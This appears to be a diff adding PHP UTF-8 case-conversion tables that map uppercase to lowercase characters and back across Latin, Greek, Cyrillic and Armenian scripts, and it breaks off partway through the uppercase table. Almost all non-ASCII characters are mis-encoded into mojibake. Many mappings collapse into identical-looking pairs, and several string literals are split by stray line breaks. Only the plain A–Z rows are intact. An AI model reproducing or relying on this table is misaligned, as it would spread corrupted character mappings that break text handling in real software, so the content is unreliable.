+	"âª" => "k",	"âŠ" => "Ï",	"á¿»" => "áœœ",
+	"á¿º" => "áœŒ",	"á¿¹" => "áœ¹",	"á¿ž" => "áœž",
+	"á¿¬" => "á¿¥",	"á¿«" => "áœ»",	"á¿ª" => "áœº",
+	"á¿©" => "á¿¡",	"á¿š" => "á¿ ",	"á¿" => "áœ·",
+	"á¿" => "áœ¶",	"á¿" => "á¿",	"á¿" => "á¿",
+	"á¿" => "áœµ",	"á¿" => "áœŽ",	"á¿" => "áœ³",
+	"á¿" => "áœ²",	"áŸ»" => "áœ±",	"áŸº" => "áœ°",
+	"áŸ¹" => "áŸ±",	"áŸž" => "áŸ°",	"áœ¯" => "áœ§",
+	"áœ®" => "áœŠ",	"áœ­" => "áœ¥",	"áœ¬" => "áœ€",
+	"áœ«" => "áœ£",	"áœª" => "áœ¢",	"áœ©" => "áœ¡",
+	"áœš" => "áœ ",	"áœ" => "áœ",	"áœ" => "áœ",
+	"áœ" => "áœ",	"áœ" => "áœ",	"áœ" => "áœ
+",
+	"áœ" => "áœ",	"áœ" => "áœ",	"áœ" => "áœ",
+	"áœ" => "áœ",	"áœ" => "áœ",	"áŒ¿" => "áŒ·",
+	"áŒŸ" => "áŒ¶",	"áŒœ" => "áŒµ",	"áŒŒ" => "áŒŽ",
+	"áŒ»" => "áŒ³",	"áŒº" => "áŒ²",	"áŒ¹" => "áŒ±",
+	"áŒž" => "áŒ°",	"áŒ¯" => "áŒ§",	"áŒ®" => "áŒŠ",
+	"áŒ­" => "áŒ¥",	"áŒ¬" => "áŒ€",	"áŒ«" => "áŒ£",
+	"áŒª" => "áŒ¢",	"áŒ©" => "áŒ¡",	"áŒš" => "áŒ ",
+	"áŒ" => "áŒ",	"áŒ" => "áŒ",	"áŒ" => "áŒ",
+	"áŒ" => "áŒ",	"áŒ" => "áŒ",	"áŒ" => "áŒ",
+	"áŒ" => "áŒ",	"áŒ" => "áŒ",	"áŒ" => "áŒ
+",
+	"áŒ" => "áŒ",	"áŒ" => "áŒ",	"áŒ" => "áŒ",
+	"áŒ" => "áŒ",	"áŒ" => "áŒ",	"á»ž" => "á»¹",
+	"á»¶" => "á»·",	"á»Ž" => "á»µ",	"á»²" => "á»³",
+	"á»°" => "á»±",	"á»®" => "á»¯",	"á»¬" => "á»­",
+	"á»ª" => "á»«",	"á»š" => "á»©",	"á»Š" => "á»§",
+	"á»€" => "á»¥",	"á»¢" => "á»£",	"á» " => "á»¡",
+	"á»" => "á»",	"á»" => "á»",	"á»" => "á»",
+	"á»" => "á»",	"á»" => "á»",	"á»" => "á»",
+	"á»" => "á»",	"á»" => "á»",	"á»" => "á»",
+	"á»" => "á»",	"á»" => "á»",	"á»" => "á»",
+	"á»" => "á»",	"á»" => "á»
+",	"á»" => "á»",
+	"á»" => "á»",	"áºŸ" => "áº¿",	"áºŒ" => "áºœ",
+	"áºº" => "áº»",	"áºž" => "áº¹",	"áº¶" => "áº·",
+	"áºŽ" => "áºµ",	"áº²" => "áº³",	"áº°" => "áº±",
+	"áº®" => "áº¯",	"áº¬" => "áº­",	"áºª" => "áº«",
+	"áºš" => "áº©",	"áºŠ" => "áº§",	"áº€" => "áº¥",
+	"áº¢" => "áº£",	"áº " => "áº¡",	"áº" => "áº",
+	"áº" => "áº",	"áº" => "áº",	"áº" => "áº",
+	"áº" => "áº",	"áº" => "áº",	"áº" => "áº",
+	"áº" => "áº",	"áº" => "áº
+",	"áº" => "áº",
+	"áº" => "áº",	"á¹Ÿ" => "á¹¿",	"á¹Œ" => "á¹œ",
+	"á¹º" => "á¹»",	"á¹ž" => "á¹¹",	"á¹¶" => "á¹·",
+	"á¹Ž" => "á¹µ",	"á¹²" => "á¹³",	"á¹°" => "á¹±",
+	"á¹®" => "á¹¯",	"á¹¬" => "á¹­",	"á¹ª" => "á¹«",
+	"á¹š" => "á¹©",	"á¹Š" => "á¹§",	"á¹€" => "á¹¥",
+	"á¹¢" => "á¹£",	"á¹ " => "á¹¡",	"á¹" => "á¹",
+	"á¹" => "á¹",	"á¹" => "á¹",	"á¹" => "á¹",
+	"á¹" => "á¹",	"á¹" => "á¹",	"á¹" => "á¹",
+	"á¹" => "á¹",	"á¹" => "á¹",	"á¹" => "á¹",
+	"á¹" => "á¹",	"á¹" => "á¹",	"á¹" => "á¹",
+	"á¹" => "á¹
+",	"á¹" => "á¹",	"á¹" => "á¹",
+	"ážŸ" => "áž¿",	"ážŒ" => "ážœ",	"ážº" => "áž»",
+	"ážž" => "áž¹",	"áž¶" => "áž·",	"ážŽ" => "ážµ",
+	"áž²" => "áž³",	"áž°" => "áž±",	"áž®" => "áž¯",
+	"áž¬" => "áž­",	"ážª" => "áž«",	"ážš" => "áž©",
+	"ážŠ" => "áž§",	"áž€" => "áž¥",	"áž¢" => "áž£",
+	"áž " => "áž¡",	"áž" => "áž",	"áž" => "áž",
+	"áž" => "áž",	"áž" => "áž",	"áž" => "áž",
+	"áž" => "áž",	"áž" => "áž",	"áž" => "áž",
+	"áž" => "áž",	"áž" => "áž",	"áž" => "áž",
+	"áž" => "áž",	"áž" => "áž",	"áž" => "áž
+",
+	"áž" => "áž",	"áž" => "áž",	"Õ" => "Ö",
+	"Õ" => "Ö
+",	"Õ" => "Ö",	"Õ" => "Ö",
+	"Õ" => "Ö",	"Õ" => "Ö",	"Õ" => "Ö",
+	"Õ" => "Õ¿",	"Õ" => "ÕŸ",	"Õ" => "Õœ",
+	"Õ" => "ÕŒ",	"Õ" => "Õ»",	"Õ" => "Õº",
+	"Õ" => "Õ¹",	"Õ" => "Õž",	"Õ" => "Õ·",
+	"Õ" => "Õ¶",	"Õ
+" => "Õµ",	"Õ" => "ÕŽ",
+	"Õ" => "Õ³",	"Õ" => "Õ²",	"Õ" => "Õ±",
+	"Õ" => "Õ°",	"Ô¿" => "Õ¯",	"ÔŸ" => "Õ®",
+	"Ôœ" => "Õ­",	"ÔŒ" => "Õ¬",	"Ô»" => "Õ«",
+	"Ôº" => "Õª",	"Ô¹" => "Õ©",	"Ôž" => "Õš",
+	"Ô·" => "Õ§",	"Ô¶" => "ÕŠ",	"Ôµ" => "Õ¥",
+	"ÔŽ" => "Õ€",	"Ô³" => "Õ£",	"Ô²" => "Õ¢",
+	"Ô±" => "Õ¡",	"Ô" => "Ô",	"Ô" => "Ô",
+	"Ô" => "Ô",	"Ô" => "Ô",	"Ô" => "Ô",
+	"Ô" => "Ô
+",	"Ô" => "Ô",	"Ô" => "Ô",
+	"Óž" => "Ó¹",	"ÓŽ" => "Óµ",	"Ó²" => "Ó³",
+	"Ó°" => "Ó±",	"Ó®" => "Ó¯",	"Ó¬" => "Ó­",
+	"Óª" => "Ó«",	"Óš" => "Ó©",	"ÓŠ" => "Ó§",
+	"Ó€" => "Ó¥",	"Ó¢" => "Ó£",	"Ó " => "Ó¡",
+	"Ó" => "Ó",	"Ó" => "Ó",	"Ó" => "Ó",
+	"Ó" => "Ó",	"Ó" => "Ó",	"Ó" => "Ó",
+	"Ó" => "Ó",	"Ó" => "Ó",	"Ó" => "Ó",
+	"Ó" => "Ó",	"Ó" => "Ó",	"Ó" => "Ó",
+	"Ó
+" => "Ó",	"Ó" => "Ó",	"Ó" => "Ó",
+	"ÒŸ" => "Ò¿",	"ÒŒ" => "Òœ",	"Òº" => "Ò»",
+	"Òž" => "Ò¹",	"Ò¶" => "Ò·",	"ÒŽ" => "Òµ",
+	"Ò²" => "Ò³",	"Ò°" => "Ò±",	"Ò®" => "Ò¯",
+	"Ò¬" => "Ò­",	"Òª" => "Ò«",	"Òš" => "Ò©",
+	"ÒŠ" => "Ò§",	"Ò€" => "Ò¥",	"Ò¢" => "Ò£",
+	"Ò " => "Ò¡",	"Ò" => "Ò",	"Ò" => "Ò",
+	"Ò" => "Ò",	"Ò" => "Ò",	"Ò" => "Ò",
+	"Ò" => "Ò",	"Ò" => "Ò",	"Ò" => "Ò",
+	"Ò" => "Ò",	"Ò" => "Ò",	"Ò" => "Ò",
+	"Ò" => "Ò",	"ÑŸ" => "Ñ¿",	"ÑŒ" => "Ñœ",
+	"Ñº" => "Ñ»",	"Ñž" => "Ñ¹",	"Ñ¶" => "Ñ·",
+	"ÑŽ" => "Ñµ",	"Ñ²" => "Ñ³",	"Ñ°" => "Ñ±",
+	"Ñ®" => "Ñ¯",	"Ñ¬" => "Ñ­",	"Ñª" => "Ñ«",
+	"Ñš" => "Ñ©",	"ÑŠ" => "Ñ§",	"Ñ€" => "Ñ¥",
+	"Ñ¢" => "Ñ£",	"Ñ " => "Ñ¡",	"Ð¯" => "Ñ",
+	"Ð®" => "Ñ",	"Ð­" => "Ñ",	"Ð¬" => "Ñ",
+	"Ð«" => "Ñ",	"Ðª" => "Ñ",	"Ð©" => "Ñ",
+	"Ðš" => "Ñ",	"Ð§" => "Ñ",	"ÐŠ" => "Ñ",
+	"Ð¥" => "Ñ
+",	"Ð€" => "Ñ",	"Ð£" => "Ñ",
+	"Ð¢" => "Ñ",	"Ð¡" => "Ñ",	"Ð " => "Ñ",
+	"Ð" => "Ð¿",	"Ð" => "ÐŸ",	"Ð" => "Ðœ",
+	"Ð" => "ÐŒ",	"Ð" => "Ð»",	"Ð" => "Ðº",
+	"Ð" => "Ð¹",	"Ð" => "Ðž",	"Ð" => "Ð·",
+	"Ð" => "Ð¶",	"Ð" => "Ðµ",	"Ð" => "ÐŽ",
+	"Ð" => "Ð³",	"Ð" => "Ð²",	"Ð" => "Ð±",
+	"Ð" => "Ð°",	"Ð" => "Ñ",	"Ð" => "Ñ",
+	"Ð" => "Ñ",	"Ð" => "Ñ",	"Ð" => "Ñ",
+	"Ð" => "Ñ",	"Ð" => "Ñ",	"Ð" => "Ñ",
+	"Ð" => "Ñ",	"Ð" => "Ñ",	"Ð
+" => "Ñ",
+	"Ð" => "Ñ",	"Ð" => "Ñ",	"Ð" => "Ñ",
+	"Ð" => "Ñ",	"Ð" => "Ñ",	"ÏŽ" => "Îž",
+	"Ï®" => "Ï¯",	"Ï¬" => "Ï­",	"Ïª" => "Ï«",
+	"Ïš" => "Ï©",	"ÏŠ" => "Ï§",	"Ï€" => "Ï¥",
+	"Ï¢" => "Ï£",	"Ï " => "Ï¡",	"Ï" => "Ï",
+	"Ï" => "Ï",	"Ï" => "Ï",	"Ï" => "Ï",
+	"Î«" => "Ï",	"Îª" => "Ï",	"Î©" => "Ï",
+	"Îš" => "Ï",	"Î§" => "Ï",	"ÎŠ" => "Ï",
+	"Î¥" => "Ï
+",	"Î€" => "Ï",	"Î£" => "Ï",
+	"Î¡" => "Ï",	"Î " => "Ï",	"Î" => "Î¿",
+	"Î" => "ÎŸ",	"Î" => "Îœ",	"Î" => "ÎŒ",
+	"Î" => "Î»",	"Î" => "Îº",	"Î" => "Î¹",
+	"Î" => "Îž",	"Î" => "Î·",	"Î" => "Î¶",
+	"Î" => "Îµ",	"Î" => "ÎŽ",	"Î" => "Î³",
+	"Î" => "Î²",	"Î" => "Î±",	"Î" => "Ï",
+	"Î" => "Ï",	"Î" => "Ï",	"Î" => "Î¯",
+	"Î" => "Î®",	"Î" => "Î­",	"Î" => "Î¬",
+	"È²" => "È³",	"È°" => "È±",	"È®" => "È¯",
+	"È¬" => "È­",	"Èª" => "È«",	"Èš" => "È©",
+	"ÈŠ" => "È§",	"È€" => "È¥",	"È¢" => "È£",
+	"È " => "Æ",	"È" => "È",	"È" => "È",
+	"È" => "È",	"È" => "È",	"È" => "È",
+	"È" => "È",	"È" => "È",	"È" => "È",
+	"È" => "È",	"È" => "È",	"È" => "È",
+	"È" => "È",	"È" => "È",	"È" => "È
+",
+	"È" => "È",	"È" => "È",	"ÇŸ" => "Ç¿",
+	"ÇŒ" => "Çœ",	"Çº" => "Ç»",	"Çž" => "Ç¹",
+	"Ç·" => "Æ¿",	"Ç¶" => "Æ",	"ÇŽ" => "Çµ",
+	"Ç±" => "Ç³",	"Ç®" => "Ç¯",	"Ç¬" => "Ç­",
+	"Çª" => "Ç«",	"Çš" => "Ç©",	"ÇŠ" => "Ç§",
+	"Ç€" => "Ç¥",	"Ç¢" => "Ç£",	"Ç " => "Ç¡",
+	"Ç" => "Ç",	"Ç" => "Ç",	"Ç" => "Ç",
+	"Ç" => "Ç",	"Ç" => "Ç",	"Ç" => "Ç",
+	"Ç" => "Ç",	"Ç" => "Ç",	"Ç" => "Ç",
+	"Ç" => "Ç",	"Ç" => "Ç",	"Ç" => "Ç",
+	"ÆŒ" => "Æœ",	"Æž" => "Æ¹",	"Æ·" => "Ê",
+	"Æµ" => "Æ¶",	"Æ³" => "ÆŽ",	"Æ²" => "Ê",
+	"Æ±" => "Ê",	"Æ¯" => "Æ°",	"Æ®" => "Ê",
+	"Æ¬" => "Æ­",	"Æ©" => "Ê",	"Æ§" => "Æš",
+	"ÆŠ" => "Ê",	"Æ€" => "Æ¥",	"Æ¢" => "Æ£",
+	"Æ " => "Æ¡",	"Æ" => "Éµ",	"Æ" => "É²",
+	"Æ" => "É¯",	"Æ" => "Æ",	"Æ" => "Éš",
+	"Æ" => "É©",	"Æ" => "É£",	"Æ" => "É ",
+	"Æ" => "Æ",	"Æ" => "É",	"Æ" => "É",
+	"Æ" => "Ç",	"Æ" => "Æ",	"Æ" => "É",
+	"Æ" => "É",	"Æ" => "Æ",	"Æ" => "É",
+	"Æ" => "Æ
+",	"Æ" => "Æ",	"Æ" => "É",
+	"Åœ" => "ÅŸ",	"Å»" => "ÅŒ",	"Å¹" => "Åº",
+	"Åž" => "Ã¿",	"Å¶" => "Å·",	"ÅŽ" => "Åµ",
+	"Å²" => "Å³",	"Å°" => "Å±",	"Å®" => "Å¯",
+	"Å¬" => "Å­",	"Åª" => "Å«",	"Åš" => "Å©",
+	"ÅŠ" => "Å§",	"Å€" => "Å¥",	"Å¢" => "Å£",
+	"Å " => "Å¡",	"Å" => "Å",	"Å" => "Å",
+	"Å" => "Å",	"Å" => "Å",	"Å" => "Å",
+	"Å" => "Å",	"Å" => "Å",	"Å" => "Å",
+	"Å" => "Å",	"Å" => "Å",	"Å" => "Å",
+	"Å" => "Å",	"Å
+" => "Å",	"Å" => "Å",
+	"Å" => "Å",	"Ä¿" => "Å",	"Äœ" => "ÄŸ",
+	"Ä»" => "ÄŒ",	"Ä¹" => "Äº",	"Ä¶" => "Ä·",
+	"ÄŽ" => "Äµ",	"Ä²" => "Ä³",	"Ä°" => "i",
+	"Ä®" => "Ä¯",	"Ä¬" => "Ä­",	"Äª" => "Ä«",
+	"Äš" => "Ä©",	"ÄŠ" => "Ä§",	"Ä€" => "Ä¥",
+	"Ä¢" => "Ä£",	"Ä " => "Ä¡",	"Ä" => "Ä",
+	"Ä" => "Ä",	"Ä" => "Ä",	"Ä" => "Ä",
+	"Ä" => "Ä",	"Ä" => "Ä",	"Ä" => "Ä",
+	"Ä" => "Ä",	"Ä" => "Ä",	"Ä" => "Ä",
+	"Ä" => "Ä",	"Ä" => "Ä",	"Ä" => "Ä",
+	"Ä" => "Ä
+",	"Ä" => "Ä",	"Ä" => "Ä",
+	"Ã" => "ÃŸ",	"Ã" => "Ãœ",	"Ã" => "ÃŒ",
+	"Ã" => "Ã»",	"Ã" => "Ãº",	"Ã" => "Ã¹",
+	"Ã" => "Ãž",	"Ã" => "Ã¶",	"Ã" => "Ãµ",
+	"Ã" => "ÃŽ",	"Ã" => "Ã³",	"Ã" => "Ã²",
+	"Ã" => "Ã±",	"Ã" => "Ã°",	"Ã" => "Ã¯",
+	"Ã" => "Ã®",	"Ã" => "Ã­",	"Ã" => "Ã¬",
+	"Ã" => "Ã«",	"Ã" => "Ãª",	"Ã" => "Ã©",
+	"Ã" => "Ãš",	"Ã" => "Ã§",	"Ã" => "ÃŠ",
+	"Ã
+" => "Ã¥",	"Ã" => "Ã€",	"Ã" => "Ã£",
+	"Ã" => "Ã¢",	"Ã" => "Ã¡",	"Ã" => "Ã ",
+	"Z" => "z",		"Y" => "y",		"X" => "x",
+	"W" => "w",		"V" => "v",		"U" => "u",
+	"T" => "t",		"S" => "s",		"R" => "r",
+	"Q" => "q",		"P" => "p",		"O" => "o",
+	"N" => "n",		"M" => "m",		"L" => "l",
+	"K" => "k",		"J" => "j",		"I" => "i",
+	"H" => "h",		"G" => "g",		"F" => "f",
+	"E" => "e",		"D" => "d",		"C" => "c",
+	"B" => "b",		"A" => "a",
+);
+
+
+$UTF8_TABLES['strtoupper'] = array(
+	"ïœ" => "ïŒº",	"ïœ" => "ïŒ¹",	"ïœ" => "ïŒž",
+	"ïœ" => "ïŒ·",	"ïœ" => "ïŒ¶",	"ïœ" => "ïŒµ",
+	"ïœ" => "ïŒŽ",	"ïœ" => "ïŒ³",	"ïœ" => "ïŒ²",
+	"ïœ" => "ïŒ±",	"ïœ" => "ïŒ°",	"ïœ" => "ïŒ¯",
+	"ïœ" => "ïŒ®",	"ïœ" => "ïŒ­",	"ïœ" => "ïŒ¬",
+	"ïœ" => "ïŒ«",	"ïœ" => "ïŒª",	"ïœ" => "ïŒ©",
+	"ïœ" => "ïŒš",	"ïœ" => "ïŒ§",	"ïœ" => "ïŒŠ",
+	"ïœ
+" => "ïŒ¥",	"ïœ" => "ïŒ€",	"ïœ" => "ïŒ£",
+	"ïœ" => "ïŒ¢",	"ïœ" => "ïŒ¡",	"á¿³" => "á¿Œ",
+	"á¿¥" => "á¿¬",	"á¿¡" => "á¿©",	"á¿ " => "á¿š",
+	"á¿" => "á¿",	"á¿" => "á¿",	"á¿" => "á¿",
+	"áŸŸ" => "Î",	"áŸ³" => "áŸŒ",	"áŸ±" => "áŸ¹",
+	"áŸ°" => "áŸž",	"áŸ§" => "áŸ¯",	"áŸŠ" => "áŸ®",
+	"áŸ¥" => "áŸ­",	"áŸ€" => "áŸ¬",	"áŸ£" => "áŸ«",
+	"áŸ¢" => "áŸª",	"áŸ¡" => "áŸ©",	"áŸ " => "áŸš",
+	"áŸ" => "áŸ",	"áŸ" => "áŸ",	"áŸ" => "áŸ",
+	"áŸ" => "áŸ",	"áŸ" => "áŸ",	"áŸ" => "áŸ",
+	"áŸ" => "áŸ",	"áŸ" => "áŸ",	"áŸ" => "áŸ",
+	"áŸ" => "áŸ",	"áŸ
+" => "áŸ",	"áŸ" => "áŸ",
+	"áŸ" => "áŸ",	"áŸ" => "áŸ",	"áŸ" => "áŸ",
+	"áŸ" => "áŸ",	"áœœ" => "á¿»",	"áœŒ" => "á¿º",
+	"áœ»" => "á¿«",	"áœº" => "á¿ª",	"áœ¹" => "á¿¹",
+	"áœž" => "á¿ž",	"áœ·" => "á¿",	"áœ¶" => "á¿",
+	"áœµ" => "á¿",	"áœŽ" => "á¿",	"áœ³" => "á¿",
+	"áœ²" => "á¿",	"áœ±" => "áŸ»",	"áœ°" => "áŸº",
+	"áœ§" => "áœ¯",	"áœŠ" => "áœ®",	"áœ¥" => "áœ­",
+	"áœ€" => "áœ¬",	"áœ£" => "áœ«",	"áœ¢" => "áœª",
+	"áœ¡" => "áœ©",	"áœ " => "áœš",	"áœ" => "áœ",
+	"áœ" => "áœ",	"áœ" => "áœ",	"áœ" => "áœ",
+	"áœ
+" => "áœ",	"áœ" => "áœ",	"áœ" => "áœ",
+	"áœ" => "áœ",	"áœ" => "áœ",	"áœ" => "áœ",
+	"áŒ·" => "áŒ¿",	"áŒ¶" => "áŒŸ",	"áŒµ" => "áŒœ",
+	"áŒŽ" => "áŒŒ",	"áŒ³" => "áŒ»",	"áŒ²" => "áŒº",
+	"áŒ±" => "áŒ¹",	"áŒ°" => "áŒž",	"áŒ§" => "áŒ¯",
+	"áŒŠ" => "áŒ®",	"áŒ¥" => "áŒ­",	"áŒ€" => "áŒ¬",
+	"áŒ£" => "áŒ«",	"áŒ¢" => "áŒª",	"áŒ¡" => "áŒ©",
+	"áŒ " => "áŒš",	"áŒ" => "áŒ",	"áŒ" => "áŒ",
+	"áŒ" => "áŒ",	"áŒ" => "áŒ",	"áŒ" => "áŒ",
+	"áŒ" => "áŒ",	"áŒ" => "áŒ",	"áŒ" => "áŒ",
+	"áŒ
+" => "áŒ",	"áŒ" => "áŒ",	"áŒ" => "áŒ",
+	"áŒ" => "áŒ",	"áŒ" => "áŒ",	"áŒ" => "áŒ",
+	"á»¹" => "á»ž",	"á»·" => "á»¶",	"á»µ" => "á»Ž",
+	"á»³" => "á»²",	"á»±" => "á»°",	"á»¯" => "á»®",
+	"á»­" => "á»¬",	"á»«" => "á»ª",	"á»©" => "á»š",
+	"á»§" => "á»Š",	"á»¥" => "á»€",	"á»£" => "á»¢",
+	"á»¡" => "á» ",	"á»" => "á»",	"á»" => "á»",
+	"á»" => "á»",	"á»" => "á»",	"á»" => "á»",
+	"á»" => "á»",	"á»" => "á»",	"á»" => "á»",
+	"á»" => "á»",	"á»" => "á»",	"á»" => "á»",
+	"á»" => "á»",	"á»" => "á»",	"á»
+" => "á»",
+	"á»" => "á»",	"á»" => "á»",	"áº¿" => "áºŸ",
+	"áºœ" => "áºŒ",	"áº»" => "áºº",	"áº¹" => "áºž",
+	"áº·" => "áº¶",	"áºµ" => "áºŽ",	"áº³" => "áº²",
+	"áº±" => "áº°",	"áº¯" => "áº®",	"áº­" => "áº¬",
+	"áº«" => "áºª",	"áº©" => "áºš",	"áº§" => "áºŠ",
+	"áº¥" => "áº€",	"áº£" => "áº¢",	"áº¡" => "áº ",
+	"áº" => "á¹ ",	"áº" => "áº",	"áº" => "áº",
+	"áº" => "áº",	"áº" => "áº",	"áº" => "áº",
+	"áº" => "áº",	"áº" => "áº",	"áº" => "áº",
+	"áº
+" => "áº",	"áº" => "áº",	"áº" => "áº",
+	"á¹¿" => "á¹Ÿ",	"á¹œ" => "á¹Œ",	"á¹»" => "á¹º",
+	"á¹¹" => "á¹ž",	"á¹·" => "á¹¶",	"á¹µ" => "á¹Ž",
+	"á¹³" => "á¹²",	"á¹±" => "á¹°",	"á¹¯" => "á¹®",
+	"á¹­" => "á¹¬",	"á¹«" => "á¹ª",	"á¹©" => "á¹š",
+	"á¹§" => "á¹Š",	"á¹¥" => "á¹€",	"á¹£" => "á¹¢",
+	"á¹¡" => "á¹ ",	"á¹" => "á¹",	"á¹" => "á¹",
+	"á¹" => "á¹",	"á¹" => "á¹",	"á¹" => "á¹",
+	"á¹" => "á¹",	"á¹" => "á¹",	"á¹" => "á¹",
+	"á¹" => "á¹",	"á¹" => "á¹",	"á¹" => "á¹",
+	"á¹" => "á¹",	"á¹" => "á¹",	"á¹
+" => "á¹",
+	"á¹" => "á¹",	"á¹" => "á¹",	"áž¿" => "ážŸ",
+	"ážœ" => "ážŒ",	"áž»" => "ážº",	"áž¹" => "ážž",
+	"áž·" => "áž¶",	"ážµ" => "ážŽ",	"áž³" => "áž²",
+	"áž±" => "áž°",	"áž¯" => "áž®",	"áž­" => "áž¬",
+	"áž«" => "ážª",	"áž©" => "ážš",	"áž§" => "ážŠ",
+	"áž¥" => "áž€",	"áž£" => "áž¢",	"áž¡" => "áž ",
+	"áž" => "áž",	"áž" => "áž",	"áž" => "áž",
+	"áž" => "áž",	"áž" => "áž",	"áž" => "áž",
+	"áž" => "áž",	"áž" => "áž",	"áž" => "áž",
+	"áž" => "áž",	"áž" => "áž",	"áž" => "áž",
+	"áž" => "áž",	"áž
+" => "áž",	"áž" => "áž",
+	"áž" => "áž",	"Ö" => "Õ",	"Ö
+" => "Õ",
+	"Ö" => "Õ",	"Ö" => "Õ",	"Ö" => "Õ",
+	"Ö" => "Õ",	"Ö" => "Õ",	"Õ¿" => "Õ",
+	"ÕŸ" => "Õ",	"Õœ" => "Õ",	"ÕŒ" => "Õ",
+	"Õ»" => "Õ",	"Õº" => "Õ",	"Õ¹" => "Õ",
+	"Õž" => "Õ",	"Õ·" => "Õ",	"Õ¶" => "Õ",
+	"Õµ" => "Õ
+",	"ÕŽ" => "Õ",	"Õ³" => "Õ",
+	"Õ²" => "Õ",	"Õ±" => "Õ",	"Õ°" => "Õ",
+	"Õ¯" => "Ô¿",	"Õ®" => "ÔŸ",	"Õ­" => "Ôœ",
+	"Õ¬" => "ÔŒ",	"Õ«" => "Ô»",	"Õª" => "Ôº",
+	"Õ©" => "Ô¹",	"Õš" => "Ôž",	"Õ§" => "Ô·",
+	"ÕŠ" => "Ô¶",	"Õ¥" => "Ôµ",	"Õ€" => "ÔŽ",
+	"Õ£" => "Ô³",	"Õ¢" => "Ô²",	"Õ¡" => "Ô±",
+	"Ô" => "Ô",	"Ô" => "Ô",	"Ô" => "Ô",
+	"Ô" => "Ô",	"Ô" => "Ô",	"Ô
+" => "Ô",
+	"Ô" => "Ô",	"Ô" => "Ô",	"Ó¹" => "Óž",
+	"Óµ" => "ÓŽ",	"Ó³" => "Ó²",	"Ó±" => "Ó°",
+	"Ó¯" => "Ó®",	"Ó­" => "Ó¬",	"Ó«" => "Óª",
+	"Ó©" => "Óš",	"Ó§" => "ÓŠ",	"Ó¥" => "Ó€",
+	"Ó£" => "Ó¢",	"Ó¡" => "Ó ",	"Ó" => "Ó",
+	"Ó" => "Ó",	"Ó" => "Ó",	"Ó" => "Ó",
+	"Ó" => "Ó",	"Ó" => "Ó",	"Ó" => "Ó",
+	"Ó" => "Ó",	"Ó" => "Ó",	"Ó" => "Ó",
+	"Ó" => "Ó",	"Ó" => "Ó",	"Ó" => "Ó
+",
+	"Ó" => "Ó",	"Ó" => "Ó",	"Ò¿" => "ÒŸ",
+	"Òœ" => "ÒŒ",	"Ò»" => "Òº",	"Ò¹" => "Òž",
+	"Ò·" => "Ò¶",	"Òµ" => "ÒŽ",	"Ò³" => "Ò²",
+	"Ò±" => "Ò°",	"Ò¯" => "Ò®",	"Ò­" => "Ò¬",
+	"Ò«" => "Òª",	"Ò©" => "Òš",	"Ò§" => "ÒŠ",
+	"Ò¥" => "Ò€",	"Ò£" => "Ò¢",	"Ò¡" => "Ò ",
+	"Ò" => "Ò",	"Ò" => "Ò",	"Ò" => "Ò",
+	"Ò" => "Ò",	"Ò" => "Ò",	"Ò" => "Ò",
+	"Ò" => "Ò",	"Ò" => "Ò",	"Ò" => "Ò",
+	"Ò" => "Ò",	"Ò" => "Ò",	"Ò" => "Ò",
+	"Ñ¿" => "ÑŸ",	"Ñœ" => "ÑŒ",	"Ñ»" => "Ñº",
+	"Ñ¹" => "Ñž",	"Ñ·" => "Ñ¶",	"Ñµ" => "ÑŽ",
+	"Ñ³" => "Ñ²",	"Ñ±" => "Ñ°",	"Ñ¯" => "Ñ®",
+	"Ñ­" => "Ñ¬",	"Ñ«" => "Ñª",	"Ñ©" => "Ñš",
+	"Ñ§" => "ÑŠ",	"Ñ¥" => "Ñ€",	"Ñ£" => "Ñ¢",
+	"Ñ¡" => "Ñ ",	"Ñ" => "Ð",	"Ñ" => "Ð",
+	"Ñ" => "Ð",	"Ñ" => "Ð",	"Ñ" => "Ð",
+	"Ñ" => "Ð",	"Ñ" => "Ð",	"Ñ" => "Ð",
+	"Ñ" => "Ð",	"Ñ" => "Ð",	"Ñ" => "Ð
+",
+	"Ñ" => "Ð",	"Ñ" => "Ð",	"Ñ" => "Ð",
+	"Ñ" => "Ð",	"Ñ" => "Ð",	"Ñ" => "Ð¯",
+	"Ñ" => "Ð®",	"Ñ" => "Ð­",	"Ñ" => "Ð¬",
+	"Ñ" => "Ð«",	"Ñ" => "Ðª",	"Ñ" => "Ð©",
+	"Ñ" => "Ðš",	"Ñ" => "Ð§",	"Ñ" => "ÐŠ",
+	"Ñ
+" => "Ð¥",	"Ñ" => "Ð€",	"Ñ" => "Ð£",
+	"Ñ" => "Ð¢",	"Ñ" => "Ð¡",	"Ñ" => "Ð ",
+	"Ð¿" => "Ð",	"ÐŸ" => "Ð",	"Ðœ" => "Ð",
+	"ÐŒ" => "Ð",	"Ð»" => "Ð",	"Ðº" => "Ð",
+	"Ð¹" => "Ð",	"Ðž" => "Ð",	"Ð·" => "Ð",
+	"Ð¶" => "Ð",	"Ðµ" => "Ð",	"ÐŽ" => "Ð",
+	"Ð³" => "Ð",	"Ð²" => "Ð",	"Ð±" => "Ð",
+	"Ð°" => "Ð",	"Ïµ" => "Î",	"Ï²" => "Î£",
+	"Ï±" => "Î¡",	"Ï°" => "Î",	"Ï¯" => "Ï®",
+	"Ï­" => "Ï¬",	"Ï«" => "Ïª",	"Ï©" => "Ïš",
+	"Ï§" => "ÏŠ",	"Ï¥" => "Ï€",	"Ï£" => "Ï¢",
+	"Ï¡" => "Ï ",	"Ï" => "Ï",	"Ï" => "Ï",
+	"Ï" => "Ï",	"Ï" => "Ï",	"Ï" => "Î ",
+	"Ï" => "ÎŠ",	"Ï" => "Î",	"Ï" => "Î",
+	"Ï" => "Î",	"Ï" => "Î",	"Ï" => "Î",
+	"Ï" => "Î«",	"Ï" => "Îª",	"Ï" => "Î©",
+	"Ï" => "Îš",	"Ï" => "Î§",	"Ï" => "ÎŠ",
+	"Ï
+" => "Î¥",	"Ï" => "Î€",	"Ï" => "Î£",
+	"Ï" => "Î£",	"Ï" => "Î¡",	"Ï" => "Î ",
+	"Î¿" => "Î",	"ÎŸ" => "Î",	"Îœ" => "Î",
+	"ÎŒ" => "Î",	"Î»" => "Î",	"Îº" => "Î",
+	"Î¹" => "Î",	"Îž" => "Î",	"Î·" => "Î",
+	"Î¶" => "Î",	"Îµ" => "Î",	"ÎŽ" => "Î",
+	"Î³" => "Î",	"Î²" => "Î",	"Î±" => "Î",
+	"Î¯" => "Î",	"Î®" => "Î",	"Î­" => "Î",
+	"Î¬" => "Î",	"Ê" => "Æ·",	"Ê" => "Æ²",
+	"Ê" => "Æ±",	"Ê" => "Æ®",	"Ê" => "Æ©",
+	"Ê" => "ÆŠ",	"Éµ" => "Æ",	"É²" => "Æ",
